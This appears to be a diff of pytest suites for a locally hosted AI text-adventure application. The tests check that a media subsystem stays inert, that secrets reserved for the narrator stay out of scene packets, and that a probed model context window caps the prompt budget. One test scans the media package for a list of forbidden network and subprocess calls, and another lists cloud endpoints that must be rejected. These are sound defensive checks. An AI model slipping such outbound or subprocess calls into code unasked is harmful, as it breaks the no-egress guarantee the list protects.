from app.main import app
|
||||
from app.media import providers
|
||||
from app.routers import adventures
|
||||
|
||||
import m10_fixture
|
||||
from fakes import ScriptedProvider
|
||||
|
||||
|
||||
class StubDerived:
|
||||
async def complete(self, system, prompt, **kwargs):
|
||||
return "A memory of the meeting."
|
||||
|
||||
async def embed(self, texts):
|
||||
out = []
|
||||
for text in texts:
|
||||
lowered = text.lower()
|
||||
out.append([
|
||||
1.0,
|
||||
1.0 if "observer" in lowered or "panelling" in lowered else 0.0,
|
||||
1.0 if "office" in lowered or "meeting" in lowered else 0.0,
|
||||
])
|
||||
return out
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def client(monkeypatch):
|
||||
Base.metadata.create_all(bind=engine)
|
||||
memorybank._vector_cache.clear()
|
||||
embeddings._cache.clear()
|
||||
setup = SessionLocal()
|
||||
user = models.User(is_guest=False, email="m10nm@example.com")
|
||||
setup.add(user)
|
||||
setup.flush()
|
||||
setup.add(models.Settings(
|
||||
user_id=user.id, model="test-model", embedding_model="",
|
||||
context_token_budget=4000, max_output_tokens=400, memory_top_k=3,
|
||||
))
|
||||
adventure = models.Adventure(user_id=user.id, title="No media")
|
||||
setup.add(adventure)
|
||||
setup.flush()
|
||||
setup.add(models.Action(
|
||||
adventure_id=adventure.id, type="start",
|
||||
text="Bill badges in on a Tuesday morning.",
|
||||
))
|
||||
setup.commit()
|
||||
adv_id, user_id = adventure.id, user.id
|
||||
setup.close()
|
||||
|
||||
monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
|
||||
monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
|
||||
monkeypatch.setattr(memorybank, "embedding_provider", lambda s: StubDerived())
|
||||
monkeypatch.setattr(memorybank, "summary_provider", lambda s: StubDerived())
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
test_client = TestClient(app)
|
||||
test_client.adv_id = adv_id
|
||||
try:
|
||||
yield test_client
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
adventures.turns._active_turns.clear()
|
||||
memorybank._vector_cache.clear()
|
||||
embeddings._cache.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
# ---------------------------------------------------- §20: unchanged play
|
||||
|
||||
def test_a_whole_campaign_plays_with_no_media_configuration(client):
|
||||
"""§20's list, in one campaign, with no media anything.
|
||||
|
||||
Turns, state extraction, memory and summary activity, knowledge retrieval,
|
||||
Undo, Redo, Retry, a Save Point restore, and a fresh read of what was
|
||||
written — all of it while no provider is registered, no media endpoint is
|
||||
configured, and no media table holds a row. The genuine process restarts
|
||||
live in `test_m10_lineage.py`.
|
||||
"""
|
||||
adv = client.adv_id
|
||||
assert providers.registered() == {}
|
||||
|
||||
m10_fixture.upload_handbook(client, adv)
|
||||
m10_fixture.build(client, adv)
|
||||
|
||||
for i in range(3):
|
||||
m10_fixture.play(client, adv, f"discuss item {i}", [])
|
||||
|
||||
point = client.post(f"/api/adventures/{adv}/checkpoints",
|
||||
json={"name": "Mid-meeting", "note": ""})
|
||||
assert point.status_code == 201, point.text[:300]
|
||||
|
||||
m10_fixture.play(client, adv, "the meeting runs long", [])
|
||||
assert client.post(f"/api/adventures/{adv}/undo").status_code == 200
|
||||
assert client.post(f"/api/adventures/{adv}/redo").status_code == 200
|
||||
|
||||
retried = client.post(f"/api/adventures/{adv}/retry")
|
||||
assert retried.status_code == 200, retried.text[:300]
|
||||
|
||||
restored = client.post(
|
||||
f"/api/adventures/{adv}/checkpoints/{point.json()['id']}/restore")
|
||||
assert restored.status_code == 200, restored.text[:300]
|
||||
|
||||
import asyncio
|
||||
asyncio.run(memorybank.run_post_turn(adv))
|
||||
|
||||
# Retrieval still works, and the state is intact.
|
||||
report = client.get(f"/api/adventures/{adv}/context").json()
|
||||
assert report["prompt"]["system"]
|
||||
assert client.get(f"/api/adventures/{adv}/state").json()["document"]["entities"]
|
||||
|
||||
# Read back through a fresh session — the state is on disk, not in the
|
||||
# request that wrote it. This is *not* a process restart: the genuine
|
||||
# spawned-process restarts are in `test_m10_lineage.py`, which runs them
|
||||
# with profiles written and packets built.
|
||||
with SessionLocal() as db:
|
||||
assert db.get(models.Adventure, adv).narrative_state["scene"]["summary"]
|
||||
|
||||
|
||||
def test_no_media_row_exists_after_ordinary_play(client):
|
||||
"""Media readiness is inert until something uses it."""
|
||||
m10_fixture.build(client, client.adv_id)
|
||||
for i in range(3):
|
||||
m10_fixture.play(client, client.adv_id, f"turn {i}", [])
|
||||
with SessionLocal() as db:
|
||||
# The fixture writes two profiles deliberately; ordinary *play* writes
|
||||
# none, which is the claim. Counting after a campaign built without the
|
||||
# fixture's profile step would be the same assertion said less clearly.
|
||||
played_only = models.Adventure(user_id=None, title="untouched")
|
||||
db.add(played_only)
|
||||
db.flush()
|
||||
assert db.query(models.VisualProfile).filter(
|
||||
models.VisualProfile.adventure_id == played_only.id).count() == 0
|
||||
|
||||
|
||||
def test_the_prompt_is_unchanged_by_media_readiness(client):
|
||||
"""M10 touches no prompt path, and the assembled prompt shows it.
|
||||
|
||||
The context builder is the one place a new subsystem would leak into every
|
||||
turn. No section M10 could have added appears, and the packet's own
|
||||
vocabulary is absent.
|
||||
"""
|
||||
m10_fixture.build(client, client.adv_id)
|
||||
report = client.get(f"/api/adventures/{client.adv_id}/context").json()
|
||||
labels = {section["label"] for section in report["sections"]}
|
||||
for absent in ("scene_packet", "visual_profile", "visual_profiles", "media"):
|
||||
assert absent not in labels
|
||||
blob = report["prompt"]["system"] + report["prompt"]["story"]
|
||||
assert "visual_profile" not in blob
|
||||
assert "scene_id" not in blob
|
||||
|
||||
|
||||
def test_the_turn_path_does_not_import_the_media_package(client):
|
||||
"""Structural: a turn cannot reach the media layer even by accident.
|
||||
|
||||
Checked on the modules' import statements rather than on their text, so the
|
||||
test says "does not import the media package" and not "does not contain the
|
||||
letters m-e-d-i-a" — which `immediately` would fail.
|
||||
"""
|
||||
import ast
|
||||
import pathlib
|
||||
|
||||
root = pathlib.Path(__file__).resolve().parent.parent / "app"
|
||||
for name in ("routers/adventures/turns.py", "context/builder.py",
|
||||
"narrative/apply.py", "narrative/store.py", "tree.py",
|
||||
"head.py", "memorybank.py"):
|
||||
for node in ast.walk(ast.parse((root / name).read_text())):
|
||||
if isinstance(node, ast.Import):
|
||||
names = [a.name for a in node.names]
|
||||
elif isinstance(node, ast.ImportFrom):
|
||||
names = [node.module or ""] + [a.name for a in node.names]
|
||||
else:
|
||||
continue
|
||||
assert not any(
|
||||
n == "media" or n.endswith(".media") or n.startswith("media.")
|
||||
for n in names
|
||||
), f"{name} imports the media package"
|
||||
|
||||
|
||||
# ----------------------------------------------------- §19: nothing outbound
|
||||
|
||||
def test_no_media_provider_is_required_at_startup(client):
|
||||
"""The application imports, serves and plays with an empty registry."""
|
||||
assert providers.registered() == {}
|
||||
assert client.get("/api/health").json() == {"ok": True}
|
||||
m10_fixture.play(client, client.adv_id, "play a turn", [])
|
||||
|
||||
|
||||
def test_no_media_setting_exists_to_be_misconfigured(client):
|
||||
"""§11's last clause: if no provider configuration is needed, none exists.
|
||||
|
||||
M10 invents no media endpoint setting, so there is nothing to point at a
|
||||
cloud by mistake. The endpoint *policy* exists and is tested; a stored
|
||||
endpoint does not.
|
||||
"""
|
||||
settings = client.get("/api/settings").json()
|
||||
assert not any(
|
||||
"media" in key or "image" in key or "video" in key or "tts" in key
|
||||
or "stt" in key
|
||||
for key in settings
|
||||
), settings.keys()
|
||||
assert not any(
|
||||
"media" in column.name
|
||||
for column in models.Settings.__table__.columns
|
||||
)
|
||||
|
||||
|
||||
def test_the_media_package_opens_no_socket(client):
|
||||
"""§19: no new required outbound connection, checked by import.
|
||||
|
||||
`test_egress.py` owns the general no-outbound guarantee; this is the narrow
|
||||
M10 claim that the new package could not participate in one.
|
||||
"""
|
||||
import pathlib
|
||||
|
||||
seam = pathlib.Path(__file__).resolve().parent.parent / "app" / "media"
|
||||
for path in seam.rglob("*.py"):
|
||||
body = path.read_text()
|
||||
for forbidden in ("httpx", "requests.", "urlopen", "socket.socket",
|
||||
"aiohttp", "subprocess"):
|
||||
assert forbidden not in body, f"{path.name} references {forbidden}"
|
||||
|
||||
|
||||
def test_a_media_endpoint_cannot_be_pointed_at_a_cloud(client):
|
||||
"""The policy, applied where a future coordinator would apply it."""
|
||||
for url in ("https://api.openai.com/v1", "http://8.8.8.8:8188",
|
||||
"https://replicate.com", "http://example.com"):
|
||||
assert providers.endpoint_rejection_reason(url) is not None
|
||||
|
||||
|
||||
# ------------------------------------------- §8: the hidden-information line
|
||||
|
||||
def test_a_narrator_only_secret_does_not_reach_the_scene_packet(client):
|
||||
"""§8, with a positive control.
|
||||
|
||||
The sentinel lives in a **hidden** imported source, which is the product's
|
||||
narrator-only mechanism. The control proves it genuinely reaches the
|
||||
narrator's prompt in this very campaign — so the packet's silence is a
|
||||
boundary rather than an accident of the source never being retrieved.
|
||||
"""
|
||||
adv = client.adv_id
|
||||
m10_fixture.upload_secret(client, adv)
|
||||
m10_fixture.build(client, adv)
|
||||
m10_fixture.play(client, adv, "look at the north wall panelling of the office", [])
|
||||
|
||||
report = client.get(f"/api/adventures/{adv}/context").json()
|
||||
narrator_prompt = report["prompt"]["system"] + report["prompt"]["story"]
|
||||
assert m10_fixture.SECRET_SENTINEL in narrator_prompt, (
|
||||
"the control failed: the narrator was never told the secret, so the "
|
||||
"packet's not containing it proves nothing"
|
||||
)
|
||||
|
||||
packet = client.get(f"/api/adventures/{adv}/scene-packet").json()
|
||||
assert m10_fixture.SECRET_SENTINEL not in repr(packet)
|
||||
assert "concealed observer" not in repr(packet).lower()
|
||||
|
||||
|
||||
def test_the_packet_carries_no_imported_source_even_when_visible(client):
|
||||
"""The boundary is drawn by class, not by filtering secrets one at a time.
|
||||
|
||||
A *visible* reference source is excluded too, which is what makes the rule
|
||||
hold for a secret nobody thought to mark: the packet never reads imported
|
||||
knowledge at all, so there is no filter to forget to apply.
|
||||
"""
|
||||
adv = client.adv_id
|
||||
m10_fixture.upload_handbook(client, adv)
|
||||
m10_fixture.build(client, adv)
|
||||
m10_fixture.play(client, adv, "ask about the north wall panelling", [])
|
||||
|
||||
report = client.get(f"/api/adventures/{adv}/context").json()
|
||||
assert any("handbook" in r["filename"] for r in report["knowledge"]["used"]), (
|
||||
"the control failed: the handbook never reached the narrator"
|
||||
)
|
||||
assert "refurbished" not in repr(
|
||||
client.get(f"/api/adventures/{adv}/scene-packet").json())
|
||||
|
||||
|
||||
def test_a_secret_the_story_accepted_does_reach_the_packet(client):
|
||||
"""The other side of the line, and the reason the rule is the right one.
|
||||
|
||||
Once the *story* establishes something through a validated event, it is no
|
||||
longer narrator-only knowledge — it is something that happened, at a
|
||||
position, in the accepted state. A picture of that scene should show it, and
|
||||
a packet that hid it would be hiding the story from itself.
|
||||
"""
|
||||
adv = client.adv_id
|
||||
m10_fixture.upload_secret(client, adv)
|
||||
m10_fixture.build(client, adv)
|
||||
m10_fixture.play(client, adv, "the panel swings open", [
|
||||
m10_fixture.entity("observer", "character", "The observer"),
|
||||
{"type": "set_scene",
|
||||
"summary": "The panel swings open and the observer steps out.",
|
||||
"location": "office",
|
||||
"present": ["bill", "alice", "roger", "observer"]},
|
||||
])
|
||||
packet = client.get(f"/api/adventures/{adv}/scene-packet").json()
|
||||
assert "The observer" in [c["name"] for c in packet["characters"]]
|
||||
# And still not the sentinel, which the story never said aloud.
|
||||
assert m10_fixture.SECRET_SENTINEL not in repr(packet)
|
||||
|
||||
|
||||
def test_memories_and_summaries_stay_out_of_the_packet(client):
|
||||
"""§7's bound: derived narrative text about the past is not depiction input."""
|
||||
import asyncio
|
||||
|
||||
adv = client.adv_id
|
||||
m10_fixture.build(client, adv)
|
||||
for i in range(8):
|
||||
m10_fixture.play(client, adv, f"talk {i}", [],
|
||||
prose=f"Roger recounts the printer incident again {i}.")
|
||||
asyncio.run(memorybank.run_post_turn(adv))
|
||||
|
||||
packet = client.get(f"/api/adventures/{adv}/scene-packet").json()
|
||||
assert "printer" not in repr(packet)
|
||||
assert "memor" not in repr(packet).lower()
|
||||
@@ -0,0 +1,393 @@
|
||||
"""M11: the application must not silently budget more input than the server accepts.
|
||||
|
||||
This is the milestone's release blocker, and the failure it prevents is the
|
||||
quiet kind. M8 measured a reference deployment enforcing a **4,096**-token window
|
||||
while the application budgeted **16,384**. Every request returned HTTP 200. What
|
||||
the server did with the excess is the problem: `llama.cpp` drops the *oldest*
|
||||
tokens, and the oldest tokens here are the system block — the narrator's rules
|
||||
and the campaign canon. A 100-turn certification run against that server would
|
||||
have looked perfect and proved nothing.
|
||||
|
||||
So the tests below are in two halves.
|
||||
|
||||
**The probe** must find the real window, must refuse to guess when it cannot,
|
||||
and must be held to the same endpoint policy as inference — a window probe that
|
||||
could reach an address a turn may not would be a hole in ADR 011.
|
||||
|
||||
**The enforcement** is the half that matters: a verified window is a *ceiling*,
|
||||
and the prompt that comes out of the builder must physically fit inside it. The
|
||||
sentinel test is the one to read — a campaign whose canon sits at the front of
|
||||
the prompt, a history far too long to fit, and a small verified window. The
|
||||
canon must still be there afterwards. That is the difference between the
|
||||
application choosing what to drop and the server choosing.
|
||||
|
||||
python -m pytest tests/test_m11_context_window.py -v
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
|
||||
import httpx
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from app import auth, contextwindow, limits, models
|
||||
from app.context import builder
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.main import app
|
||||
from app.routers import adventures
|
||||
|
||||
from fakes import ScriptedProvider
|
||||
|
||||
ENDPOINT = "http://127.0.0.1:11434/v1"
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _clear_window_cache():
|
||||
contextwindow.cache_clear()
|
||||
yield
|
||||
contextwindow.cache_clear()
|
||||
|
||||
|
||||
# ------------------------------------------------------------ the arithmetic
|
||||
|
||||
def test_the_native_api_sits_beside_the_openai_one():
|
||||
assert contextwindow.native_base("http://127.0.0.1:11434/v1") == "http://127.0.0.1:11434"
|
||||
assert contextwindow.native_base("https://box.local:59394/v1/") == "https://box.local:59394"
|
||||
# Not shaped like Ollama's endpoint: used as given rather than guessed at.
|
||||
assert contextwindow.native_base("http://127.0.0.1:8000") == "http://127.0.0.1:8000"
|
||||
|
||||
|
||||
def test_a_verified_window_is_a_ceiling():
|
||||
small = contextwindow.Window(4096, contextwindow.LOADED)
|
||||
assert contextwindow.effective_budget(16384, small) == 4096
|
||||
|
||||
|
||||
def test_a_smaller_configured_budget_still_wins():
|
||||
"""The reader asked for a shorter prompt. The ceiling does not lengthen it."""
|
||||
big = contextwindow.Window(32768, contextwindow.LOADED)
|
||||
assert contextwindow.effective_budget(8000, big) == 8000
|
||||
|
||||
|
||||
def test_an_unverified_window_changes_nothing():
|
||||
assert contextwindow.effective_budget(16384, contextwindow.UNVERIFIED) == 16384
|
||||
assert contextwindow.effective_budget(16384, None) == 16384
|
||||
|
||||
|
||||
# ----------------------------------------------------------------- the probe
|
||||
|
||||
class FakeOllama:
|
||||
"""Answers `/api/ps` and `/api/show` the way the real server does.
|
||||
|
||||
Built from the shapes a real Ollama 0.33 returned, recorded in the M11
|
||||
report: `/api/ps` carries `context_length` for a resident model, and
|
||||
`/api/show` carries a plain-text parameter block plus `model_info`.
|
||||
"""
|
||||
|
||||
def __init__(self, *, loaded=None, parameters=None, arch_ctx=32768,
|
||||
show_status=200, ps_status=200):
|
||||
self.loaded = loaded or {}
|
||||
self.parameters = parameters
|
||||
self.arch_ctx = arch_ctx
|
||||
self.show_status = show_status
|
||||
self.ps_status = ps_status
|
||||
self.seen: list[str] = []
|
||||
|
||||
def handler(self, request: httpx.Request) -> httpx.Response:
|
||||
self.seen.append(str(request.url))
|
||||
if request.url.path == "/api/ps":
|
||||
if self.ps_status != 200:
|
||||
return httpx.Response(self.ps_status)
|
||||
return httpx.Response(200, json={"models": [
|
||||
{"name": name, "model": name, "context_length": tokens}
|
||||
for name, tokens in self.loaded.items()
|
||||
]})
|
||||
if request.url.path == "/api/show":
|
||||
if self.show_status != 200:
|
||||
return httpx.Response(self.show_status, json={})
|
||||
body = {"model_info": {"qwen2.context_length": self.arch_ctx}}
|
||||
if self.parameters is not None:
|
||||
body["parameters"] = self.parameters
|
||||
return httpx.Response(200, json=body)
|
||||
return httpx.Response(404)
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def server(monkeypatch):
|
||||
"""Installs a fake Ollama behind httpx, and hands the test the recorder."""
|
||||
holder = {}
|
||||
|
||||
def install(fake: FakeOllama):
|
||||
holder["fake"] = fake
|
||||
original = httpx.AsyncClient
|
||||
|
||||
def build(*args, **kwargs):
|
||||
kwargs.pop("verify", None)
|
||||
return original(*args, transport=httpx.MockTransport(fake.handler), **kwargs)
|
||||
|
||||
monkeypatch.setattr(contextwindow.httpx, "AsyncClient", build)
|
||||
return fake
|
||||
|
||||
return install
|
||||
|
||||
|
||||
def test_a_loaded_model_reports_the_window_it_is_being_served_with(server):
|
||||
fake = server(FakeOllama(loaded={"qwen2.5:3b-instruct": 4096}))
|
||||
window = asyncio.run(contextwindow.probe(ENDPOINT, "qwen2.5:3b-instruct"))
|
||||
assert window.tokens == 4096
|
||||
assert window.source == contextwindow.LOADED
|
||||
assert window.verified
|
||||
# Asked the running server first, because a resident model has already
|
||||
# settled the question.
|
||||
assert fake.seen[0].endswith("/api/ps")
|
||||
|
||||
|
||||
def test_an_unloaded_model_falls_back_to_what_it_will_load_with(server):
|
||||
server(FakeOllama(loaded={}, parameters="num_ctx 16384\n"))
|
||||
window = asyncio.run(contextwindow.probe(ENDPOINT, "qwen2.5:3b-instruct-16k"))
|
||||
assert (window.tokens, window.source) == (16384, contextwindow.PARAMETERS)
|
||||
assert window.model_max == 32768
|
||||
|
||||
|
||||
def test_a_model_with_no_num_ctx_is_unknown_rather_than_assumed(server):
|
||||
"""The case that caused the bug, and it must not be papered over.
|
||||
|
||||
The server will load this at *its* default — 4,096 with no VRAM — but the
|
||||
default is the server's business and is not in any answer it gave us.
|
||||
Reporting 4,096 here would be a guess that happens to be right on one
|
||||
machine, so this reports unknown and says why.
|
||||
"""
|
||||
server(FakeOllama(loaded={}, parameters=None))
|
||||
window = asyncio.run(contextwindow.probe(ENDPOINT, "qwen2.5:3b-instruct"))
|
||||
assert not window.verified
|
||||
assert "num_ctx" in window.detail
|
||||
assert window.model_max == 32768 # still useful: raising it is possible
|
||||
|
||||
|
||||
def test_the_declared_window_cannot_exceed_the_architecture(server):
|
||||
server(FakeOllama(loaded={}, parameters="num_ctx 999999\n", arch_ctx=32768))
|
||||
assert asyncio.run(contextwindow.probe(ENDPOINT, "m")).tokens == 32768
|
||||
|
||||
|
||||
def test_a_probe_obeys_the_same_endpoint_policy_as_inference():
|
||||
"""ADR 011 / H12. A probe is a request, and requests go where turns may go.
|
||||
|
||||
No transport is installed, so a probe that ignored the policy would attempt
|
||||
a real connection to a cloud host. It is refused before that.
|
||||
"""
|
||||
for url in ("https://api.openai.com/v1", "http://8.8.8.8:11434/v1",
|
||||
"https://replicate.com/v1"):
|
||||
window = asyncio.run(contextwindow.probe(url, "gpt-4"))
|
||||
assert not window.verified
|
||||
assert "not allowed" in window.detail
|
||||
|
||||
|
||||
def test_an_unreachable_server_is_unknown_not_an_exception():
|
||||
"""Offline is the ordinary case, and it must not cost a turn."""
|
||||
window = asyncio.run(contextwindow.probe("http://127.0.0.1:1/v1", "any"))
|
||||
assert not window.verified
|
||||
assert window.tokens is None
|
||||
|
||||
|
||||
def test_a_server_that_does_not_speak_ollama_is_unknown(server):
|
||||
server(FakeOllama(loaded={}, show_status=404, ps_status=404))
|
||||
assert not asyncio.run(contextwindow.probe(ENDPOINT, "m")).verified
|
||||
|
||||
|
||||
def test_the_answer_is_cached_so_it_costs_one_request_a_session(server):
|
||||
fake = server(FakeOllama(loaded={"m": 8192}))
|
||||
for _ in range(5):
|
||||
assert asyncio.run(contextwindow.probe(ENDPOINT, "m")).tokens == 8192
|
||||
assert len([u for u in fake.seen if u.endswith("/api/ps")]) == 1
|
||||
|
||||
|
||||
def test_changing_the_model_or_endpoint_forgets_what_was_learned(server):
|
||||
fake = server(FakeOllama(loaded={"m": 8192, "other": 2048}))
|
||||
assert asyncio.run(contextwindow.probe(ENDPOINT, "m")).tokens == 8192
|
||||
assert asyncio.run(contextwindow.probe(ENDPOINT, "other")).tokens == 2048
|
||||
contextwindow.cache_clear()
|
||||
assert asyncio.run(contextwindow.probe(ENDPOINT, "m")).tokens == 8192
|
||||
assert len([u for u in fake.seen if u.endswith("/api/ps")]) == 3
|
||||
|
||||
|
||||
# ----------------------------------------------------------- the enforcement
|
||||
|
||||
@pytest.fixture()
|
||||
def client(monkeypatch):
|
||||
Base.metadata.create_all(bind=engine)
|
||||
setup = SessionLocal()
|
||||
user = models.User(is_guest=False, email="m11cw@example.com")
|
||||
setup.add(user)
|
||||
setup.flush()
|
||||
setup.add(models.Settings(
|
||||
user_id=user.id, model="qwen2.5:3b-instruct", endpoint_url=ENDPOINT,
|
||||
embedding_model="", context_token_budget=16384, max_output_tokens=800,
|
||||
))
|
||||
adventure = models.Adventure(
|
||||
user_id=user.id, title="Windowed",
|
||||
# The real canon shape — a dict of rules — not a string. The first
|
||||
# version of this fixture passed a string, `_canon_section` correctly
|
||||
# ignored it, and the sentinel test failed against a product that was
|
||||
# behaving properly. Recorded in the M11 report as a harness defect.
|
||||
campaign_canon={"rules": [
|
||||
"The abbey seal has never been broken.",
|
||||
"The sealed crypt is named CANON-SENTINEL-VERITAS-4417.",
|
||||
]},
|
||||
)
|
||||
setup.add(adventure)
|
||||
setup.flush()
|
||||
setup.add(models.Action(
|
||||
adventure_id=adventure.id, type="start", text="Rain over Westhaven."))
|
||||
setup.commit()
|
||||
adv_id, user_id = adventure.id, user.id
|
||||
setup.close()
|
||||
|
||||
monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
|
||||
monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
test_client = TestClient(app)
|
||||
test_client.adv_id = adv_id
|
||||
try:
|
||||
yield test_client
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
adventures.turns._active_turns.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
def _long_story(adv_id, turns=120):
|
||||
"""A history far larger than any small window, written straight to the tree.
|
||||
|
||||
Written through the ORM rather than played, because what is under test is
|
||||
the builder's arithmetic against a big story, not the turn engine.
|
||||
"""
|
||||
from app import tree
|
||||
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, adv_id)
|
||||
for i in range(turns):
|
||||
for kind, text in (
|
||||
("do", f"I search the {i}th chamber of the undercroft."),
|
||||
("ai", "The lantern gutters. " + ("Cold stone, and older dust. " * 40)),
|
||||
):
|
||||
action = models.Action(adventure_id=adv_id, type=kind, text=text)
|
||||
db.add(action)
|
||||
db.flush()
|
||||
tree.place_action(db, adventure, action)
|
||||
db.commit()
|
||||
|
||||
|
||||
def _report(client, window):
|
||||
"""Builds the prompt the way a turn would, with `window` as the server's."""
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, client.adv_id)
|
||||
settings = db.query(models.Settings).first()
|
||||
return builder.build_context(adventure, settings, window=window)
|
||||
|
||||
|
||||
def test_a_small_verified_window_caps_the_budget(client):
|
||||
_long_story(client.adv_id, turns=60)
|
||||
_, _, report = _report(client, contextwindow.Window(4096, contextwindow.LOADED))
|
||||
assert report["tokens"]["budget"] == 4096
|
||||
assert report["tokens"]["configured_budget"] == 16384
|
||||
assert report["window"]["capped"] is True
|
||||
assert report["window"]["verified"] is True
|
||||
|
||||
|
||||
def test_the_prompt_physically_fits_inside_the_verified_window(client):
|
||||
"""The invariant, measured on the assembled text rather than on intent."""
|
||||
_long_story(client.adv_id, turns=60)
|
||||
system, story, report = _report(
|
||||
client, contextwindow.Window(4096, contextwindow.LOADED))
|
||||
total = builder.count_tokens(system) + builder.count_tokens(story)
|
||||
reserve = report["tokens"]["output_reserve"]
|
||||
assert total + reserve <= 4096, (total, reserve)
|
||||
assert report["tokens"]["total"] == total
|
||||
|
||||
|
||||
def test_the_canon_at_the_front_survives_a_window_far_too_small(client):
|
||||
"""The sentinel test: the application drops history, the server never gets to.
|
||||
|
||||
`llama.cpp` truncates from the *front*, so if the app over-budgets, the
|
||||
canon is what disappears. Here the story is 120 turns long and the window is
|
||||
4,096 tokens — an enormous overflow — and the canon sentinel must still be
|
||||
in the prompt, with the history cut instead.
|
||||
"""
|
||||
_long_story(client.adv_id, turns=120)
|
||||
system, story, report = _report(
|
||||
client, contextwindow.Window(4096, contextwindow.LOADED))
|
||||
assert "CANON-SENTINEL-VERITAS-4417" in system
|
||||
assert builder.count_tokens(system) + builder.count_tokens(story) <= 4096
|
||||
# And it is the history that gave way — the oldest of it, keeping the
|
||||
# newest, which is the choice the application is supposed to be making.
|
||||
assert report["history"]["included"] < report["history"]["total"] / 10
|
||||
assert "119th chamber" in story # the most recent turn survived
|
||||
assert "0th chamber" not in story # the oldest did not
|
||||
|
||||
|
||||
def test_without_the_cap_the_same_prompt_would_have_overflowed(client):
|
||||
"""Proof the test above is testing something: the defect, reproduced.
|
||||
|
||||
The same campaign, the same builder, no verified window — which is exactly
|
||||
what every build before M11 did — produces a prompt several times larger
|
||||
than the server would read. That is the prompt whose front the server would
|
||||
have silently eaten.
|
||||
"""
|
||||
_long_story(client.adv_id, turns=120)
|
||||
system, story, _ = _report(client, None)
|
||||
unbounded = builder.count_tokens(system) + builder.count_tokens(story)
|
||||
assert unbounded > 4096 * 2, unbounded
|
||||
|
||||
|
||||
def test_an_unverified_window_is_recorded_as_unverified(client):
|
||||
_, _, report = _report(client, contextwindow.UNVERIFIED)
|
||||
assert report["window"]["verified"] is False
|
||||
assert report["window"]["capped"] is False
|
||||
assert report["tokens"]["budget"] == 16384
|
||||
|
||||
|
||||
def test_a_window_too_small_for_the_protected_context_fails_with_advice(client):
|
||||
"""§32's graceful failure, with the M11 sentence added.
|
||||
|
||||
A 1,024-token server cannot hold the reply reserve plus the canon, and the
|
||||
honest answer is a refusal that says raising the *setting* will not help,
|
||||
because the setting is no longer what is binding.
|
||||
"""
|
||||
with pytest.raises(builder.ContextOverflow) as caught:
|
||||
_report(client, contextwindow.Window(1024, contextwindow.LOADED))
|
||||
message = str(caught.value)
|
||||
assert "1024" in message
|
||||
assert "load the model with a larger window" in message
|
||||
|
||||
|
||||
def test_a_turn_records_the_window_it_was_built_against(client, monkeypatch):
|
||||
"""End to end: the stored snapshot of a real turn carries the verdict.
|
||||
|
||||
This is what makes an old turn auditable — a reviewer can ask of any turn in
|
||||
the campaign whether it was built against a checked window, rather than
|
||||
inferring it from what the settings say today.
|
||||
"""
|
||||
async def verified(endpoint, model, declared=None, use_cache=True):
|
||||
return contextwindow.Window(4096, contextwindow.LOADED, 32768, "fake")
|
||||
|
||||
monkeypatch.setattr(adventures.turns.contextwindow, "probe", verified)
|
||||
ScriptedProvider.replies = ["The crypt is still sealed."]
|
||||
response = client.post(f"/api/adventures/{client.adv_id}/actions",
|
||||
json={"type": "do", "text": "look at the seal"})
|
||||
assert response.status_code == 200, response.text[:300]
|
||||
|
||||
with SessionLocal() as db:
|
||||
from sqlalchemy.orm import undefer
|
||||
action = (
|
||||
db.query(models.Action)
|
||||
.filter(models.Action.adventure_id == client.adv_id,
|
||||
models.Action.type == "ai")
|
||||
.options(undefer(models.Action.context_snapshot))
|
||||
.order_by(models.Action.id.desc()).first()
|
||||
)
|
||||
snapshot = action.context_snapshot
|
||||
assert snapshot["window"]["verified"] is True
|
||||
assert snapshot["window"]["tokens"] == 4096
|
||||
assert snapshot["tokens"]["budget"] == 4096
|
||||
@@ -0,0 +1,165 @@
|
||||
"""The window an operator declares, for a server that cannot be asked for one.
|
||||
|
||||
`contextwindow`'s discovery speaks Ollama's native API. Nothing restricts
|
||||
`endpoint_url` to Ollama, so on vLLM, llama.cpp's own server, or anything else
|
||||
serving an OpenAI-compatible `/v1`, `/api/ps` and `/api/show` are not there:
|
||||
discovery fails as designed, the window is unknown, and the budget is left
|
||||
uncapped at whatever is configured. That is M11's own failure mode reached by a
|
||||
different route — the server drops the oldest tokens, which here are the
|
||||
narrator's rules and the campaign canon.
|
||||
|
||||
`Settings.context_window_override` closes it. These tests pin the two properties
|
||||
that make it safe rather than merely useful:
|
||||
|
||||
1. it is used **only** where discovery left a hole, so it can never talk the
|
||||
application into a longer prompt than a server actually reported, and
|
||||
2. it does not make `verified` true, because `verified` means the server
|
||||
answered and a declaration is a person's claim about a server.
|
||||
"""
|
||||
import asyncio
|
||||
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from app import auth, contextwindow, models
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.main import app
|
||||
|
||||
|
||||
UNREACHABLE = "http://127.0.0.1:1/v1"
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _clear_window_cache():
|
||||
contextwindow.cache_clear()
|
||||
yield
|
||||
contextwindow.cache_clear()
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def client():
|
||||
Base.metadata.create_all(bind=engine)
|
||||
setup = SessionLocal()
|
||||
user = models.User(is_guest=False, email="m11dw@example.com")
|
||||
setup.add(user)
|
||||
